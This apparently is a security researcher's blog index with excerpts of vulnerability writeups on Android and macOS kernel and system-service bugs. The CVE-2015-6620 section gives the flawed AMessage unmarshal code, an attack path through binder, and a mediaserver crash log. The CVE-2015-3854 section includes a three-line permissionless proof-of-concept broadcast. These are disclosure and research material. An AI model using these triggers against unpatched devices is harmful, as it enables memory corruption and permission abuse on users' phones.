Recently as KASLR is slowly adopted into Android and because of the requirements of exploitation stability of previous bugs, kernel infoleak bugs are becoming more and more important. Here I want to explain two infoleak bugs on Android, one found by me and is fixed now, and other one is a known and fixed bug but very useful as it exists on all android platforms.
CVE-2016-4697 buffer overrun in macos kernel driver
This is the writeup for CVE-2016-4697 which I reported and get credit from Apple at https://support.apple.com/en-us/HT207170
Buffer overrun in AppleHSSPIHIDDriver
一个矩形pwn掉整个内核系列之一 – zone的舞蹈
一个矩形pwn掉整个内核系列之一 – zone的舞蹈
一个矩形pwn掉整个内核?这听起来很马德里不思议,然而这真实地发生在了今年3月份温哥华的Pwn2Own赛场。这一系列文章会向大家分享我们这次沙箱逃逸用到的Blitzard
CVE-2016-1815的发现和利用经历。我们通过三步走最终完成了这个利用,本文将先问大家介绍第二和第三步 – kalloc.48的舞蹈
和kalloc.8192 重剑无锋
,在最后一篇文章中,我们会回到本源,介绍这个漏洞的起因。
The Journey of a complete OSX privilege escalation with a single vulnerability – Part 1
The Journey of a complete OSX privilege escalation with a single vulnerability – Part 1
In previous blog posts Liang talked about the userspace privilege escalation vulnerability we found in WindowServer. Now in following articles I will talk about the Blitzard
kernel bug we used in this year’s pwn2own to escape the Safari renderer sandbox, existing in the blit
operation of graphics pipeline. From a exploiter’s prospective we took advantage of an vector out-of-bound access which under carefully prepared memory situations will lead to write-anywhere-but-value-restricted to achieve both infoleak and RIP control. In this article we will introduce the exploitation methods we played with mainly in kalloc.48 and kalloc.4096.
First we will first introduce the very function which the overflow occurs, what we can control and how these affect our following exploitation.
Integer overflow due to compile behavior in OSX Kernel IOUSBHIDDevice
Interesting Integer overflow in enum comparison IOHIDDevice::handleReportWithTime
By flanker from KeenLab.
There exists a signed integer comparison overflow in IOHIDDevice::_getReport
and then handleReportWithTime
, which can lead to oob access/execute in handleReportWithTime
. A normal process can leverage this vulnerability to archive potential code execution in kernel and escalate privilege.
Surface Pro 入手体验
(Update again: 新macbook pro已经入手,所以Surface也该吃灰了orz) (Update: 我们pwn2own奖品已经拿到了,zdi发了一台surface pro4高配版,所以下面就不用看了233)
为什么要买Surface
先介绍下我现在的工作环境: 主力办公机是一台公司去年配的台式,32G内存+i7 4770K+128G SSD和2T SATA,配了27+24的两个显示器,安装Ubuntu Linux 14.04和VMware里的Win10. 主要的高性能需求工作(编译源代码,批量处理等)都在这个上面进行。然后有一些服务器来搞fuzz。此外还有一个12年底个人买的15寸RMBP,已经服役3年之久。
ANDROIDID-24123723 (CVE-2015-6620) POC and writeup
github link at https://github.com/flankerhqd/CVE-2015-6620-POC
CVE-2015-6620-POC-1
POC for one bug in CVE-2015-6620-1 (ANDROIDID-24123723), AMessage unmarshal arbitrary write. The two bugs are merged to one CVE, and here is POC for one of them.
Explaination
533 sp<AMessage> AMessage::FromParcel(const Parcel &parcel) {
534 int32_t what = parcel.readInt32();
535 sp<AMessage> msg = new AMessage(what);
536
537 msg->mNumItems = static_cast<size_t>(parcel.readInt32()); //mNumItems can be set by attacker
538 for (size_t i = 0; i < msg->mNumItems; ++i) {
539 Item *item = &msg->mItems[i];
540
541 const char *name = parcel.readCString();
542 item->setName(name, strlen(name));
543 item->mType = static_cast<Type>(parcel.readInt32());
544
545 switch (item->mType) {
547 {
548 item->u.int32Value = parcel.readInt32();//overwrite out-of-bound
549 break;
550 }
…
65 void AMessage::clear() {
66 for (size_t i = 0; i < mNumItems; ++i) {
67 Item *item = &mItems[i];
68 delete[] item->mName; //maybe freeing the wrong pointer if i ran out-of-bound
69 item->mName = NULL;
70 freeItemValue(item);
71 }
72 mNumItems = 0;
73}
The msg->mItems is an array of fixed size kMaxNumItems
=64, however when AMessage is unmarshalled, the loop counter can be set far beyond this limit, thus lead to memory overwrite or arbitrary freeing, then memory corruption.
Then we need to find a binder interface that will unmarshal the AMessage and can be called by unprivileged application. Through searching I found that the IStreamListener->issueCommand is a callback that accepts transaction from normal client, then processed at the mediaserver side. And it will construct AMessage from input parcel.
To get an IStreamListener, one way is create a BnStreamSource and provide to MediaPlayer->setDataSource, then when playing MediaPlayer will call the setListener method of your BnStreamSource Implementation, providing the client an IStreamListener and communicate control params via AMessage. So, we provide our fake AMessage here. Boom!
Test method:
Build the POC with name stream
, then ran with adb shell stream ts-file-name
. I use a TS media file to trigger the binder callback for simplicity, but there should be better options.
Sample crash:
F/libc (17405): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdfe85000 in tid 17511 (streaming)
I/DEBUG ( 355): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 355): Build fingerprint: 'google/shamu/shamu:5.1.1/LMY48I/2074855:user/release-keys'
I/DEBUG ( 355): Revision: '33696'
I/DEBUG ( 355): ABI: 'arm'
W/NativeCrashListener( 839): Couldn't find ProcessRecord for pid 17405
I/DEBUG ( 355): pid: 17405, tid: 17511, name: streaming >>> /system/bin/mediaserver <<<
E/DEBUG ( 355): AM write failure (32 / Broken pipe)
I/DEBUG ( 355): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdfe85000
I/DEBUG ( 355): r0 29685000 r1 d6d5d4d9 r2 b6802e74 r3 fff29685
I/DEBUG ( 355): r4 b6800000 r5 000003df r6 b6802e8c r7 c81fff19
I/DEBUG ( 355): r8 b6be24b8 r9 000003e2 sl b380bbac fp b6e65fd8
I/DEBUG ( 355): ip 0000000c sp b380bac0 lr b6e31b3d pc b6e31af6 cpsr 200f0030
I/DEBUG ( 355):
I/DEBUG ( 355): backtrace:
I/DEBUG ( 355): #00 pc 00041af6 /system/lib/libc.so (je_arena_dalloc_bin+41)
I/DEBUG ( 355): #01 pc 00041b39 /system/lib/libc.so (je_arena_dalloc_small+28)
I/DEBUG ( 355): #02 pc 000498b3 /system/lib/libc.so (ifree+462)
I/DEBUG ( 355): #03 pc 00012caf /system/lib/libc.so (free+10)
I/DEBUG ( 355): #04 pc 0000c943 /system/lib/libstagefright_foundation.so (android::AMessage::clear()+24)
I/DEBUG ( 355): #05 pc 0000c973 /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+18)
I/DEBUG ( 355): #06 pc 0000c98d /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+4)
I/DEBUG ( 355): #07 pc 0000ec55 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+40)
I/DEBUG ( 355): #08 pc 0003a679 /system/lib/libmediaplayerservice.so (android::sp<android::SharedLibrary>::~sp()+10)
I/DEBUG ( 355): #09 pc 0005bbeb /system/lib/libmediaplayerservice.so
I/DEBUG ( 355): #10 pc 0005be71 /system/lib/libmediaplayerservice.so (android::NuPlayer::NuPlayerStreamListener::read(void*, unsigned int, android::sp<android::AMessage>*)+216)
I/DEBUG ( 355): #11 pc 000580fb /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onReadBuffer()+50)
I/DEBUG ( 355): #12 pc 00058271 /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onMessageReceived(android::sp<android::AMessage> const&)+20)
I/DEBUG ( 355): #13 pc 0000c4c3 /system/lib/libstagefright_foundation.so (android::ALooperRoster::deliverMessage(android::sp<android::AMessage> const&)+166)
I/DEBUG ( 355): #14 pc 0000be45 /system/lib/libstagefright_foundation.so (android::ALooper::loop()+220)
I/DEBUG ( 355): #15 pc 000104d5 /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112)
I/DEBUG ( 355): #16 pc 00010045 /system/lib/libutils.so
I/DEBUG ( 355): #17 pc 00016baf /system/lib/libc.so (__pthread_start(void*)+30)
I/DEBUG ( 355): #18 pc 00014af3 /system/lib/libc.so (__start_thread+6)
I/DEBUG ( 355):
I/DEBUG ( 355): Tombstone written to: /data/tombstones/tombstone_04
Fuzzing binder for fun and profit
这是11.20日我在京东沙龙演讲的ppt, 讲述了binder的基本结构和我们发现的几个漏洞的利用方式. 由于讲的0day内容google还没有公开补丁,故这个公开下载的ppt马赛克了这部分内容. ppt链接在 http://tool.flanker017.me/papers/fuzzing-binder-for-fun-for-profit-sharing.pdf
Protected: Some thoughts and exps on Mobile Pwn2Own 2014 dhcpcd RCE (CVE-2014-7912)
Series of vulnerabilities in system_server and mediaserver
CVE-2015-3854 ANDROID-20918350
CVE-2015-3855 ANDROID-20917238
CVE-2015-3856 ANDROID-20917373
Since those are posted prior to Android Security Bug Bounty Program launch, I’m posting to fulldisclosure for the record.
Details
A permission leakage exists in Android 5.x that enables a malicious application to acquire the system-level protected permission of DEVICE_POWER.
There exists a permission leakage in packages/SystemUI/src/com/android/systemui/power/PowerNotificationWarnings.java, An attacker app without any permission can turn off battery save mode (which should be guarded by DEVICE_POWER permission, which is a system permission, lead to permission leakage), dismiss low battery notification.
Analysis
The PowerNotificationWarnings registered a dynamic receiver without permission guard, listening for the following actions:
- PNW.batterySettings
- PNW.startSaver
- PNW.stopSaver
- PNW.dismissedWarning
The PNW.stopSaver will call setSaverMode(false), thus call mPowerMan.setPowerSaveMode(false), which finally calls PowerManager.setPowerSaveMode(false).
(code of PowerNotificationWarnings.java) private final class Receiver extends BroadcastReceiver {
public void init() {
IntentFilter filter = new IntentFilter();
filter.addAction(ACTION_SHOW_BATTERY_SETTINGS);
filter.addAction(ACTION_START_SAVER);
filter.addAction(ACTION_STOP_SAVER);
filter.addAction(ACTION_DISMISSED_WARNING);
mContext.registerReceiverAsUser(this, UserHandle.ALL, filter, null, mHandler);
}
@Override public void onReceive(Context context, Intent intent) {
final String action = intent.getAction(); Slog.i(TAG, "Received " + action);
if (action.equals(ACTION_SHOW_BATTERY_SETTINGS)) {
dismissLowBatteryNotification(); mContext.startActivityAsUser(mOpenBatterySettings, UserHandle.CURRENT); }
else if (action.equals(ACTION_START_SAVER)) { dismissLowBatteryNotification(); showStartSaverConfirmation(); }
else if (action.equals(ACTION_STOP_SAVER)) { dismissSaverNotification();
dismissLowBatteryNotification();
setSaverMode(false);//PERMISSION LEAK HERE!
}
else if (action.equals(ACTION_DISMISSED_WARNING))
{ dismissLowBatteryWarning(); } }
An ordinary app cannot directly call this method because this API call is guarded by system permission DEVICE_POWER, however by sending a broadcast with action “PNW.stopSaver”, it can trigger this API call on behave of SystemUI, thus stops battery saver without user action and awareness.
Tested on Nexus 6/Nexus 7 (5.1.1)
POC code(do not require any permission)
Intent intent = new Intent();
intent.setAction("PNW.stopSaver");
sendBroadcast(intent);
Possible mitigations
Use a local broadcast mechanism, or use permission to guide the dynamic receiver.
Official fixes:
fixed in https://android.googlesource.com/platform/frameworks/base/+/05e0705177d2078fa9f940ce6df723312cfab976
Report timeline
- 2015.5.6 Initial report to security@android.com
- 2015.5.8 Android Security Team acks and assigned ANDROID-20918350
- 2015.6.1 The bug is fixed in Android internal branch
- 2015.7.24 CVE Requested, assigned CVE-2015-3854
- 2016.5.26 Public Disclosure